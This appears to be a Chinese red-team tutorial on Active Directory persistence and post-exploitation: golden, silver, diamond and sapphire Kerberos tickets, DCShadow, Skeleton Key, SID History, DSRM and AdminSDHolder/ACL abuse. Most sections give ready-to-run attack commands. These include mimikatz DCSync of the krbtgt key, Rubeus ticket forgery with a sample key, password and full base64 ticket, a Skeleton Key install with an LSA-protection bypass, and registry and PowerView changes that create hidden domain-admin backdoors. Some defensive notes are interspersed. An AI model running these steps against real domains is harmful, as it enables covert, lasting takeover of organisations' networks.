跳转至

域权限维持和后渗透密码收集

票据传递攻击(PTT)

票据传递介绍

要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。 mimikatz同样提供了不需要 本地管理员权限进行 横向渗透测试的方法,例如票据传递( PassThe Ticket,PTT)票据传递是基于kerberos认证的一种攻击方式,常用来做后渗透权限维持。

黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM哈希或AES-256的值。白银票据攻击利用的前提是得到了域内服务账号的HTML哈希或AES-256的值。票据传递攻击一般分为两种

1、自己制作票据

2、传递内存中的票据

黄金票据

黄金票据的出发点是在Client和DC交互这一过程的第一部分之中,AS会对通过验证的Client发送AS_REP,这里面包含了两部分:

第一部分是AS生成的临时密钥Session-key,然后使用Client的NTLM-Hash加密;

第二部分是使用用户Krbtgt的NTLM-Hash加密的Session-key(AS生成的)、时间戳以及一些用户信息,也就是TGT

如果我们可以拿到Krbtgt用户的NTLM_Hash,我们就可以伪造TGT,能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos 认证的任何服务。

然而拿到Krbtgt用户的NTLM_Hash就意味着我们要拿到域控DC的权限,所以黄金票据(Golden ticket)更多情况下是作为后门,如果因为某种特殊的原因失去了对DC的控制权限,但是管理员没有修改Krbtgt用户的密码,那么就可以使用黄金票据重新获得域管理员权限。

使用黄金票据来进行票据传递攻击的先决条件为:

  • 域名
  • 需要伪造的域管理员用户名
  • 域SID
  • krbtgt的账户密钥

白银票据

白银票据不同于黄金票据,白银票据的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由KDC颁发TGT,并且在生成伪造的TGT得20分钟内,TGS不会对该TGT的真伪进行效验。

白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用krbtgt账号的密码哈希值,因此更加隐蔽。

使用白银票据的先决条件:

  • 域名
  • 域SID
  • 服务账号的NTLM-Hash
  • 要伪造的用户名
  • 可利用的服务

由于白银票据同样要使用到服务账号的NTLM-Hash,而这个Hash大概率也是需要拿到DC的权限才可以获得,所以白银票据大部分情况下也是作为后门存在

黄金票据/白银票据区别

获取的权限不同

  • 金票:伪造高权限TGT,可以以高权限访问任何服务
  • 银票:伪造高权限ST,只能以高权限访问指定的服务,如CIFS,IDAP等

认证流程不同

金票:同KDC交互,但不同AS交互

银票:不同KDC交互,直接访问Server

加密密钥不同

金票:由krbtgt NTLM Hash 加密

银票:由服务账号 NTLM Hash 加密

日志不同

金票:伪造了TGT,所以需要和KDC进行TGS通信以获得ST,在KDC会留下日志

银票:伪造ST,可以不与KDC进行通信,直接访问指定服务。因此不会再KDC上留下日志,只会在目标服务器上留下日志

黄金票据传递

  • Impacket

  • mimikatz

  • CobaltStrike

白银票据传递

  • Impacket

  • mimikatz

  • CobaltStrike

票据传递攻击防御

黄金票据防御

首先TGT是在本地离线生成的,因此和KDC之间没有AS-REQ&AS-REP数据包,所以可以通过检查Kerberos认证流程中缺少AS-REQ&AS-REP数据包,但却成功访问服务的过程来判定黄金票据攻击

并且在泄露Krbtgt密钥的情况下,需要重新更换密钥,但由于krbtgt涉及到整个域的认证,所以需要谨慎操作

白银票据防御

PAC有两个签名:PAC_SERVER_CHECKSUM和PAC_PRIVSVR_CHECKSUM。其中PAC_SERVER_CHECKSUM是由服务密钥签名的,在白银票据传递攻击中,攻击者只得到了服务密钥,并没有krbtgt密钥,所以是无法伪造PAC_PRIVSVR_CHECKSUM的。但是,PAC_PRIVSVR_CHECKSUM的签名选项是可选的,并且默认是关闭的,这也是白银票据能成功的前提。

因此,最好的防御手段就是开启PAC_PRIVSVR_CHECKSUM签名。但如SMB、CIFS、HOST等注册在本地系统账户下的服务来说,永远无法开启KDC验证PAC签名

钻石票据 Diamond Ticket

黄金票据攻击和钻石票据攻击都需要访问krbtgt密钥。然而,钻石票据攻击需要访问AES256密钥。黄金票证攻击则是利用伪造票证授予票证 (TGT) ,而钻石票证攻击则利用了域控制器 (DC) 请求的真实 TGT 进行解密和重新加密进行票据攻击。 黄金票据充分利用了能够从头开始伪造票据授予票据 (TGT) 的优势,而钻石票据则利用了能够解密和重新加密从域控制器 (DC) 请求的真实 TGT 的优势。

钻石PAC

PAC 是一种传递域控制器 (DC)提供的授权相关信息的结构。身份验证协议使用 PAC 来验证身份以传输授权信息,从而控制对资源的访问。说白了就是来验证身份是否有效的。 最初的钻石PAC攻击远没有钻石票据灵活,攻击成功需要两个条件

  1. 在没有特权属性证书(PAC)的情况下请求TGT
  2. 确保要访问的服务的服务帐户未在其 UserAccountControl (UAC) 属性中设置“NA”位

在服务帐户的 UAC 属性中设置 NA 位后,向该服务帐户请求的 ST 没有 PAC ,攻击者下一个阶段就可以构造恶意 PAC 注入到 ST 中实现攻击。 由于2021年发布的补丁无法再在完全最新的域控制器 (DC) 上使用没有 PAC 的 TGT。我们知道需要拥有KRBTGT密钥,并且攻击利用任何其他有效帐户来请求 TGT。所以我们想为什么不直接解密该 TGT,按照我们想要的方式修改它,重新计算 PAC 签名,然后重新加密它。这就是我们所说的钻石票据。

钻石票据攻击利用

我们使用钻石票据的思路就是使用低权限的用户向域控请求一个普通的 TGT,随后进行解密修改签名和重新加密即可,当然这些事情Rubeus会自动帮我们完成,我们只需要提供信息即可。 本地尝试dir拒绝访问

img

使用 mimikatz 抓取 krbtgt 用户 aes256密钥

Text Only
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:rootkit.org /user:krbtgt" "exit"

img

使用钻石票据需要提供以下信息

Text Only
krbkey:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745
低权限用户user:micle
用户密码password:Admin12345
domain:rootkit.org
dc:owa2013.rootkit.org
ticketuser:administrator //伪造的票据用户名可以任意,不需要域中存在该用户
Rubeus.exe diamond /krbkey:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:micle /password:Admin12345 /enctype:aes /domain:rootkit.org /dc:owa2013.rootkit.org /ticketuser:test123 /ptt /nowrap

以下为原TGT

img

解密重新构造的TGT

img

利用我们重新构造的TGT对域控的cifs服务进行票据注入。

Text Only
Rubeus.exe asktgs /ticket:doIFMjCCBS6gAwIBBaEDAgEWooIEOzCCBDdhggQzMIIEL6ADAgEFoQ0bC1JPT1RLSVQuT1JHoiAwHqADAgECoRcwFRsGa3JidGd0GwtST09US0lULk9SR6OCA/UwggPxoAMCARKhAwIBA6KCA+MEggPfj2PsZr7SGEqJsPPl5wG8ljBVM4yBAtxGQNxTQQPo6WBMTxcXS+3f3vyYs6qab0uZ+X5UW45e4aW8T8VhsTOkSJ1jokudegt8ILFKbHNpuUTMywsfgjRb6o+CQkfyZMGep1bQ9FoKHw+qPyd6ql7bYK50u1zO+uhNQ61cQDymFiDaqu0UBLh9yI4qY81gpycKOZSWqy0T/cH52hn22IuuxfL9dKN9qdRF+YCnrqy9MBSPx5E3MGVroJZrLYqgDfPQ9g+u1pPabnci8ac3J2S8isxbTscP7hutRATWTQWeauRvG1DbNN6qANWagDNpPy9JEqQoLbqrr3GD/FEQhaANSZlX2IPzLj8EsUcKQExEVSaWC3OuUwqNGWBNhc1m+aJL9mt6D42SwWMyFvmREmlj/lDR9kv9IQmqupcFCloBkewpyFBlecHkkSFKwXGvde65Y7Z/5vP1Iq1el2VrZPPMhywUhk5JwnRNhInDokhYFOWMIdY3w/C2PreLdEiL5aFUc7e01y7uQV5Wbe/OJ6XZdNhbYKXZ9lzZdHAqSayQmo0TRpBCBwqAZUFZse3l5B7qwPP9WBJDLIZtNgV6GUt0CW9DVoIW0jdM1j2Hkl9B+CeM1xV7Vb2DMNh8gK6IfT7KWEHX8a+0GVwlQWkAW/O/IpjZc8+3rIkiIfCIqbGTwA/pnjfhsS2lOXetwW6S4jQ8C9SfKZbLWhPIxpRs9q9g3tWMUE22Pk06CD3T9GbdTEbVi0IvCQJSgNIGMu+sI9ISVZ78HNmYv2wAjjC0tcHusjG1DDj0obyfeg99icK1ZtZL0HmOcQCSwNZqqJDMOXix1uKXv8auJP0itVdUf/aYp8l0xDjVQRYzvefpuar1Ce2Dhguejc6nEfPKusFBPDNhYGw8WlSupnCjjwgNuuQT1WUXdNuTMpPAh3Grb0dj/2s3/WcqVI3P9eZMos6n+MnD8RJUjytPGAm+iKa30KmL3nJbxQEdBOCI9cY4SYmf09B9fQJhG7fEwyeUyjcRoCeOeLFlSM8MCs/qHUi+0MTkVyyiLYZWfcNY+20dCbwUtRz6zXUwQ4go8buZoZMKqnnio1rtzZxzqkqiYK+AbtRq7+9JPuX0chOr9GKqGQGEqaQZCqjOVCQKr1A+JK4mfhHxGwe0eDaDtGOTUnszGLhqQdmDVxNpKduOLjaQBN97ACnitC3Q1Ww6ZeCv51TVh2x787nNkYy5JWZrY0gd3FByb9UDkMmeODy/1oVireCYEfLAL8yUuu/REgZbkyIsxzSCeG/NUZN6ztjGn/IrJ06bEQS6OhuvPHKP51JIh/8HUaOB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEIFPwBQgPPeImtpqHK3V4zobqMKDh0uVBzmEB/v5GuE7noQ0bC1JPT1RLSVQuT1JHohQwEqADAgEBoQswCRsHdGVzdDEyM6MHAwUAQOEAAKURGA8yMDI0MDIwNTA0Mjk0OFqmERgPMjAyNDAyMDUxNDI5NDhapxEYDzIwMjQwMjEyMDQyOTQ4WqgNGwtST09US0lULk9SR6kgMB6gAwIBAqEXMBUbBmtyYnRndBsLUk9PVEtJVC5PUkc= /service:cifs/owa2013.rootkit.org /ptt /nowrap

img

查看票据发现已经存在

img

尝试 dir域控和psexec均成功

img

这种技术相比于金票更加隐蔽,因为过程中所申请的TGT是真实的,只是修改了PAC,相对你金票离线生成TGT更符合OPSEC

蓝宝石票据 Sapphire Ticket

蓝宝石票据与钻石票据类似,票据不是伪造的,而是通过请求后获得的合法票据。他们的区别在于PAC的修改方式。钻石票据是修改了合法PAC以添加特权组。在蓝宝石票据中,高权限用户PAC是通过 S4U2Self+U2U获得的,然后该PAC会替换原来的PAC,由于该票据是完全合法元素组合起来的,所以是最难检测的票据。

为了在 Kerberos 协议层面对约束性委派进行支持,微软扩展了 S4U2self 协议,而使用 U2U 可以在没有 SPN 的情况下请求 S4U2Self。

尝试生成蓝宝石票据

在这里使用魔改过的 ticketer.py

Text Only
https://github.com/ShutdownRepo/impacket/tree/6c9a1aadbfc11e321858a640b596530535b11fd1
or
https://github.com/ShutdownRepo/impacket/blob/sapphire-tickets/examples/ticketer.py

将域控的ip地址加入hosts,使用如下命令生成票据

Text Only
python ticketer.py -request -impersonate 'administrator' -domain 'rootkit.org' -user 'micle' -password 'Admin12345' -aesKey '3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745' -domain-sid 'S-1-5-21-3759881954-2993291187-3577547808' -nthash 'c3d5042c67ef5f461d0ba6ecdd9ea449' 'Sapphire'

img

通过抓包可以看到我们指定了要获取服务票证的用户名administrator ,此外我们还为用户请求了服务票证,执行 U2U

img

使用mimikatz导入该票据,成功dir域控

Text Only
kerberos::ptc ignored.ccache

img

由于该票据很难被检测到,只能通过人工排查krbrgt账户被盗等情况入手

域委派

DCShadow攻击

2018年1月24日,Benjamin Delpy(神器 Mimikatz 的作者)和 Vincent Le Toux 在 BlueHat IL 会议期间公布了针对域活动目录的一种新型攻击技术 DCShadow

在**具备域管理员权限条件**下,攻击者可以**创建伪造的域控制器**,将预先设定的对象或对象属性复制到正在运行域服务器中。

DCSync 从域服务器复制出东西,DCShadow 是将数据复制至域服务器。

Luc Delsalle 对这种技术进行了验证和详细的描述,并就红蓝对抗中蓝队对抗此种攻击技术的缺陷和补救方法。

从 DCShadow 目前展示的功能来看,主要只能用于红蓝对抗的隐蔽后门。但是 DCShadow 第一次澄清和实现了伪造一个 DC 的最小需求合集,这个贡献非常大。以 前很多攻击方法都卡在不能伪造域服务器,例如 MS15-011 和 MS15-014 等,有了 DCShadow 的基础,相信将来会有很多新的攻击方法。

DCShadow 攻击流程

根据 Luc Delsalle 的描述,DCShadow 的攻击过程包括 3 个主要个步骤:

1、在目标域的 AD 活动目录注册一个伪造的 DC 中;

2、使伪造的 DC 被其他的 DC 认可,能够参与域复制 ;

3、强制触发域复制,将指定的新对象或修改后的对象属性同步复制到其他 DC 中;

注册伪造的DC

一台机器要想注册成为域中的一台 DC 服务器,需要在域的活动目录中注册一个 NTDS-DSA(nTDSDSA)类对象。注册的位置为 CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=adsec,DC=com

img

adsec.com 域有 3 台域服务器,分别是 LABDC01、RESDC01 及 WIN2016-DC01,标红的正是我们实验环境的域服务器。我们测试的机器为 Win7X86cn04,测试成功的则会生成一个新的NTDS-DSA(nTDSDSA)类对象

img

查看 CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=adsec,DC=com的安全描述符,可知必须有域管理员权限才具备写权限

所以发动 DCShadow 攻击首先必须具备域管理员权限,但是我们可以通实验,做点手脚,就会好办一些,例如将完全权限赋予普通用户,则普通用户也可以修改

img

img

DC Shadow 源码:

img

因此我们可以得出一个结论:DCShadow攻击技术并不属于权限提升漏洞范畴,而是滥用活动目录的一种机制。红队无法借此获得特权,但可以将其当成另一种方法,在活动目录中的达成持久化目标或者执行非法操作。因此,我们可以将其归类到AD持久化技术中,而非需要修复的漏洞。

注册的DC被其他DC认可,能够参与域复制

一个刚注册的 DC 要想被域中其他DC认可,能够参与域复制,需要满足 3 个条件:

  • 这台伪造 DC 具备认证凭证,能认证到域,即有域内账号,可以使用机器账号,实验环境中为 WIN7X86CN04$;
  • 伪造 DC 能认证其他 DC 来访问的账号,如果我们给 WIN7X86CN04$ 添加 SPN,则可以实现这一点。关键是需要添加哪些SPN,DCShadow 的一个大贡献是找到 了 SPN 的最小合集,只需要 2 个即可:
  • DRS服务(GUID 为 E3514235–4B06–11D1-AB04–00C04FC2DCD2)
  • GS(Global Catalog)服务

img

  • 运行DRS服务,最少需要实现 IDL_DRSBind、IDL_DRSUnbind、IDL_DRSGetNCChanges、IDL_DRSUpdateRefs 这 4 个 RPC 接口,以便其他 DC 能够通过 RPC 获取需要复制的数据。Mimikatz 工具的最新版已经集成了这 4 个接口

强制立即发起域复制

通常负责域复制和同步的进程是 KCC 进程,默认时间是 15 分钟校验一次,如果需要复制则发起;也可以使用 Windows 域服务器自带的系统工具 repadmin,该工具会调用 DRSReplicaAdd 函数接口强制立即发起域复制,DCShadow 正是通过调用 DRSReplicaAdd 函数强制立即发起域复制

img

攻击复现

查看 CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=adsec,DC=com 的安全描述符,可知必须有域管理员权限才具备写权限

所以发动 DCShadow 攻击首先必须具备域管理员权限,但是我们可以通实验,做点手脚,就会好办一些,例如将完全权限赋予普通用户,则普通用户也可以修改

更多信息请参考:

https://www.anquanke.com/post/id/96704

https://ringlcy.github.io/posts/DCShadow%E5%8E%9F%E7%90%86%E4%B8%8E%E6%8A%93%E5%8C%85/

Skeleton Key

Skeleton Key 即 “万能钥匙”。通过在域控上安装 Skeleton Key,所有域用户账户都可以使用一个相同的密码进行认证,同时原有密码仍然有效。

该技术通过注入 lsass.exe 进程实现,并且创建的 Skeleton Key 只是保存在内存中,域控只要重启,Skeleton Key 就会失效。

注意:利用该技术需要拥有域管理员的权限

原理解释

参考文章:https://www.freebuf.com/articles/system/288999.html

常规利用

将 Mimikatz 上传到域控制器,执行以下命令:

Text Only
mimikatz.exe "privilege::debug" "misc::skeleton" exit

执行后,将成功创建 Skeleton Key 域后门,为所有的域账户设置一个相同的密码 “mimikatz”,从而使其他机器可以成功登录域控。

缓解措施

微软在 2014 年 3 月添加了 LSA(Local Security Authority,本地安全机构)保护策略,用来防止对 lsass.exe 进程的内存读取和代码注入。通过执行以下命令,可以开启或关闭 LSA 保护。

Text Only
# 开启 LSA 保护策略
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# 关闭 LSA 保护策略
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL

开启LSA 保护策略并重启系统后,Mimikatz 的相关操作都会失败。此时即使已经获取了 Debug 权限也无法读取用户哈希值,更无法安装 Skeleton Key。

不过,Mimikatz 可以绕过 LSA 保护。该功能需要 Minikatz 项目中的 mimidrv.sys 驱动文件,相应的 Skeleton Key 安装命令也变为了如下:

Text Only
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton

防御措施

LSA保护

由于该攻击是对lsass进程进行了注入, 从Windows 8.1(和Server 2012 R2)开始,Microsoft引入了一项称为LSA保护的功能。此功能基于PPL技术,它是一种纵深防御的安全功能,旨在“防止非管理员非PPL进程通过打开进程之类的函数串改PPL进程的代码和数据”。防止对进程lsass.exe 的代码注入,这样一来就无法使用 mimikatz 对 lsass.exe 进行注入,相关操作也会失败。在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

添加RunAsPPL=dword:00000001,重启就可以开启了PPL保护了

开启后mimikatz注入lsass进程的行为将会失败,虽然mimikatz后面又增加了一个mimidrv.sys驱动来绕过PPL保护,但是加载驱动这一行为已经有明显的日志可以供我们进行检测。

windows日志4697记录了mimidrv.sys驱动的安装

sysmon日志13可以很明显看到mimidrv服务以及对应的驱动程序

我们可以使用zBang 工具扫描当前的域控环境是否已经被注入了万能密码。 (https://github.com/cyberark/zBang),因为Skeleton Key 是注入恶意代码到 lsass.exe 进程的,所以它只存在于内存中,如果域控制器重启,注入的 Skeleton Key 将会失效。

其他

  • 域管理员用户要设置强密码,确保恶意代码不会在域控制器中执行。
  • 在所有域用户中启用双因子认证,例如智能卡认证。
  • 启动应用程序白名单(例如 AppLocker),以限制 mimikatz 在域控制器中的运行。

SID History滥用

SID & SID History

在 Windows 系统中,SID(Security Identifiers)是指安全标识符,是用户、用户组或其他安全主体的唯一不可变标识符。

Windows 根据 ACL(访问控制列表)授予或拒绝对资源的访问和特权,ACL 使用 SID 来唯一标识用户及其组成员身份。当用户登录到计算机时,会生成一个访问令牌,其中包含用户和组 SID 和用户权限级别。当用户请求访问资源时,将根据 ACL 检查访问令牌以允许或拒绝对特定对象的特定操作。

如果将账户删除,然后使用相同的名字创建另一个账户,那么新账户不会具有前一个账户的特权或访问权限,这是因为两个账户的 SID 不同。

SID History 是一个支持域迁移方案的属性,使得一个账户的访问权限可以有效地克隆到另一个账户,这在域迁移过程中非常有用。例如,当 Domain A 中的用户迁移到 Domain B 时,会在 Domain B 中新创建一个账号。此时,将 Domain A 用户的 SID 添加到 Domain B 的用户账户的 SID History 属性中。这就确保了 Domain B 用户仍然拥有访问 Domain A 中资源的权限。

利用方法

在实战中,hacker 可以将域管理员用户的 SID 添加到其他域用户的 SID History 属性中,以此建立一个隐蔽的域后门。

利用该技术需要拥有域管理员权限

下面在域控制器(Win 2012)上进行实操:

在 Windows Server 2019 上进行测试时可能会报错

① 创建域用户 Alice

② 向域控制器上传 Mimikatz,并执行以下命令,将域管理员 Administrator 的 SID 添加到域用户 Alice 的 SID History 属性中:

Text Only
# mimikatz版本大于2.1.0
mimikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:Alice /new:Administrator" exit
# mimikatz版本小于2.1.0
mimikatz.exe "privilege::debug" "misc::addsid Alice ADSAdministrator" exit

③ 通过 Powershell 查看 Alice 用户的属性,可以发现其 SID History 属性值已经与 Administrator 用户的 SID 相同,这说明 Alice 用户将继承 Administrator 用户的所有权限。

Text Only
Import-Module ActiveDirectory
Get-ADUser hack -Properties SIDHistory

④ 通过 Alice 用户连接域控,执行 “whoami /priv” 命令,可以看到该用户拥有域管理员的所有特权。

重置DSRM密码

DSRM(Directory Services Restore Mode,目录服务还原模式)是域控的安全模式启动选项,用于使服务器脱机,以进行紧急维护。在初期安装 Windows 域服务时,安装向导会提示用户设置 DSRM 的管理员密码。有了该密码后,网络管理员可以在后期域控发生问题时修复、还原或重建活动目录数据库。

在域控上,DSRM 账户实际上就是本地管理员账户(Administrator),并且该账户的密码在创建后几乎很少使用。通过在域控上运行 NTDSUtil,可以为 DSRM 账户修改密码,相关命令如下:

在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。每个DC都有DSRM账号,DSRM账号可以作为每个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

Text Only
# 进入 ntdsutil
ntdsutil
# 进入设置 DSRM 账户密码设置模式
set dsrm password
# 在当前域控上恢复 DSRM 密码
reset password on server null
# 输入新密码 123456Lhz!
<password> 
# 再次输入新密码
<password>
# 退出 DSRM 密码设置模式
q
# 退出 ntdsutil
q

hacker 可以通过修改 DSRM 账户的密码,以维持对域控的权限。

如果域控制器的系统版本为Windows Server 2008及其以上可以将DSRM密码同步为已存在的域账号密码。(Windows Server 2008版本的系统需要安装 KB961320 补丁 )

Text Only
ntdsutil #进入ntdsutil
setdsrm password #设置DSRM账户的密码
sync fromdomain account domainusername #使DSRM的密码和指定的的domainusername域用户的密码同步
q #退出DSRM密码设置模式
q #退出ntdsutil

利用过程

① 执行以下命令,通过 Mimikatz 读取域控的 SAM 文件,获取 DSRM 账户的哈希值。

Text Only
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

② 修改 DSRM 账户的登录模式,以允许该账户远程登录。可以通过编辑注册表的DsrmAdminLogonBehavior 键值来实现,可选用的登录模式有以下3种:

0:默认值,只有当域控制器重启并进入 DSRM 模式时,才可以使用 DSRM 管理员账号。

1:只有当本地 AD DS 服务停止时,才可以使用 DSRM 管理员账号登录域控制器。

2:在任何情况下,都可以使用 DSRM 管理员账号登录域控制器。

执行以下命令,将 DSRM 的登录模式改为 “2”,允许 DSRM 账户在任何情况下都可以登录域控。

Text Only
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f

③ 这时,hacker 就可以通过 DSRM 账户对域控制器进行控制了。

执行以下命令,使用 DSRM 账户对域控执行哈希传递攻击并成功获取域控权限:

AdminSDHolder滥用

AdminSDHolder 对象的作用是为域中受保护的帐户和组提供“模板”权限。 在每个 Active Directory 域的系统容器中,将自动创建 AdminSDHolder 作为对象。 其路径为:CN=AdminSDHolder,CN=System,DC=,DC=?。

虽然 Administrators 组拥有 Active Directory 域中的大多数对象,但 Domain Admins 组拥有 AdminSDHolder 对象。 默认情况下,企业管理员可以对任何域的 AdminSDHolder 对象进行更改,域的域管理员和管理员组也是如此。 此外,尽管 AdminSDHolder 的默认所有者是域的域管理员组,但管理员或企业管理员的成员可以取得该对象的所有权。

AdminSDHolder在Windows 2000 Server的AD中引入,默认包含以下的组:

Text Only
1. Administrators
2. Domain Admins
3. Account Operators
4. Backup Operators
5. Domain Controllers
6. Enterprise Admins
7. Print Operators
8. Replicator
9. Read-only Domain Controllers
10. Schema Admins
11. Server Operators

注:Administrators,Domain Admins和Enterprise Admins组是对AdminSDHolder上的属性具有写权限的组。

受保护的AD账户和组的特征如下:AdminCount属性为1。

注:AdminCount属性为1并不能保证现在也是受保护的AD账户和组,因为从受保护的组中删除用户后,该用户帐户上的adminCount属性不会更改,也就是说值1保持不变。

查看受保护的用户和组

通过 ADFind 查询 adminCount 属性设置为 1 的对象,可以找到所有受 AdminSDHolder 保护的特权用户和组。

Text Only
# 枚举受保护的用户
Adfind.exe -b "dc=hack-my,dc=com" -f "&(objectcategory=person)(samaccountname=*)(admincount=1)" -dn
# 枚举受保护的组
Adfind.exe -b "dc=hack-my,dc=com" -f "&(objectcategory=group)(admincount=1)" -dn

在默认情况下,系统将定期(每60分钟)检查受保护对象的安全描述符,将受保护对象的 ACL 与 AdminSDHolder 容器的 ACL 进行比较,如果二者不一致,系统就会将受保护对象的 ACL 强制修改为 AdminSDHolder 容器的 ACL。该工作通过 SDProp 进程来完成,该进程以 60 分钟为一个工作周期。

利用方法

在实战中,hacker 可以篡改 AdminSDHolder 容器的 ACL 配置。当系统调用 SDProp 进程执行相关工作时,被篡改的 ACL 配置将同步到受保护的 ACL 中,以此建立一个隐蔽的域后门。

利用该技术需要拥有域管理员权限

执行以下命令,通过 PowerView 向 AdminSDHolder 容器对象添加一个 ACL,使普通域用户 Alice 拥有对 AdminSDHolder 的 “完全控制” 权限。

Text Only
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=hack-my,DC=com" -PrincipalIdentity Alice -Rights All -Verbose

执行后,Alice 用户成功拥有 AdminSDHolder 容器对象的完全控制权限

等待 60 分钟后,Alice 用户将获得对系统中的特权用户和组完全控制权限。

此时,Alice 用户可成功向 Domain Admins 等关键用户组内添加成员。

如果清除 Alice 用户对 AdminSDHolder 的完全控制权限,可以执行以下命令:

Text Only
Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=hack-my,DC=com" -PrincipalIdentity Alice -Rights All -Verbose

SDPROP

SDProp 是在包含域的 PDC 仿真器 (PDCE) 的域控制器上每隔 60 分钟(默认间隔)运行的一个进程。 SDProp 将域的 AdminSDHolder 对象的权限与域中受保护的帐户和组的权限进行比较。 如果任何受保护帐户和组的权限与 AdminSDHolder 对象的权限不匹配,则 SDProp 会重置受保护帐户和组的权限,使其与为域的 AdminSDHold 对象配置的权限相匹配。

对受保护的组和帐户禁用权限继承。 即使帐户和组移动到目录中的不同位置,它们也不会从新的父对象继承权限。 AdminSDHolder 对象会禁用继承,以便对父对象的权限更改不会更改 AdminSDHolder 的权限。

参考windows文档:https://learn.microsoft.com/zh-cn/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory

修改SDPROP运行频率

上面我们讲到,当我们修改了AdminSDHolder的ACL之后默认等待60分钟以后生效,原理是SDPROP进程在PDC模拟器上每60分钟运行一次,并使用AdminSDHolder设置的安全权限重新标记ACL。

我们可以通过注册表的方式来修改推送时间,将SDPROP的触发频率修改为1分钟一次:

注: 范围是最小1分钟,最大120分钟

Text Only
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60

注: 建议如果在实战环境不要尝试去修改,当你的修改的频率变高时,CPU处理LSASS的开销也就越大,这很容易导致系统变得卡顿,所以在你修改默认值之前要考虑清楚。

强制SDPROP执行

① 运行 Ldp.exe(C:\Windows\System32\Ldp.exe)

② 点击连接 -> 连接,输入当前机器的机器名或IP,端口默认为 389

③ 点击连接 -> 绑定,选择绑定为当前登录的用户

④ 在修改窗口这里针对不同版本的域控制器有不同的情况:

当域控为Windows Server 2008时,点击浏览 -> 修改,在属性选项卡中输入 FixUpInheritance ,在值字段输入 yes。操作选择添加,然后点击输入,最后运行即可。

当域控为Windows Server 2008 R2或Windows Server 2012及以上时,点击浏览 -> 修改,在属性选项卡中输入 RunProtectAdminGroupsTask ,在值字段输入 1。操作选择添加,然后点击输入,最后运行即可。

ACL滥用

ACM概念

首先想要了解ACL首先需要了解Access Control Model(访问控制模型),根据官网(https://docs.microsoft.com/zh-cn/windows/win32/secauthz/access-control-model)给出的定义:

Text Only
访问控制模型能够控制进程访问一些安全对象,或者是控制进程执行各种系统管理任务。

用通俗一点的话来说ACM就是一个判断你在一个档案馆(在这里可以理解为整个域)里是否有权限打开某个档案抽屉(用户对象、用户组对象、Computer对象),并且是否能在这个档案抽屉中取走、存放、修改档案(读、写、修改)的一个模型。

访问模型包含哪些部分:

CSS
1、Access Tokens(访问tokens)
2、Security Descriptors(安全描述符)
   a、Discretionary Access Control List (DACL)
   b、System Access Control List (SACL)
Access Control Lists(ACL)
Access Control Entries(ACE)
Access Rights and Access Masks(访问权限和访问掩码)

Access Token

当线程与安全对象交互或尝试执行需要特权的系统任务时,系统使用访问令牌来标识用户,访问令牌包括用户的SID、所在组的SID等等信息:

Python
The security identifier (SID) for the user's account
SIDs for the groups of which the user is a member
A logon SID that identifies the current logon session
A list of the privileges held by either the user or the user's groups
An owner SID
The SID for the primary group
The default DACL that the system uses when the user creates a securable object without specifying a security descriptor
The source of the access token
Whether the token is a primary or impersonation token
An optional list of restricting SIDs
Current impersonation levels
Other statistics

Security Descriptors安全描述符

SID(Security Identifiers)即安全描述符。

安全描述符标识对象的所有者,并包含以下访问控制列表:

  1. Discretionary Access Control List (DACL) 自由访问控制列表
  2. System Access Control List (SACL) 系统访问控制列表

每一种控制列表中都存在若干条ACE(Access Control Entries)

可以看到安全描述符由Header、SID和DACL、SACL组成

DACL

高级安全设置中的权限就是DACL的列表

SACL

高级安全设置中的审核就是SACL的列表

其中红色圈出来的每一条都是一条ACE

ACE

ACE是针对特定用户或特定组的单个权限授予(或拒绝权利)的配置结构。ACE有许多不同类型,但是在Active Directory的权限中,只有四种不同的含义,两种分别用于授予和拒绝权限。

1、Access Allowed ACE:

这种类型的ACE类型始终为0,设计目的是为了将权限轻松的分配给整个对象。ACE Flags确定这是继承权限还是显式给定的权限。所有此对象的子对象都会继承为ACE Type为0。

2、Access Allowed Object ACE:

此类ACE的类型始终为5,用于指定对象的某些属性的权限

3、Access Denied ACE

此类ACE的值始终为1,用于简单的撤销整个对象的权限。ACE标志确定这是继承还是显示分配的撤销权限,并且所有的子对象都会继承这个权限。

4、Access Denied Object ACE

此类ACE的类型始终为6,此对象可以撤销ACE特殊权限或有限的权限,例如针对某些属性撤销,这里提供的有和类型为5的ACE相同的例子(Object Type GUID),Flags字段指示是否存在对象类型字段或者继承类型字段,或者两者都有。

ACL中的特殊权限

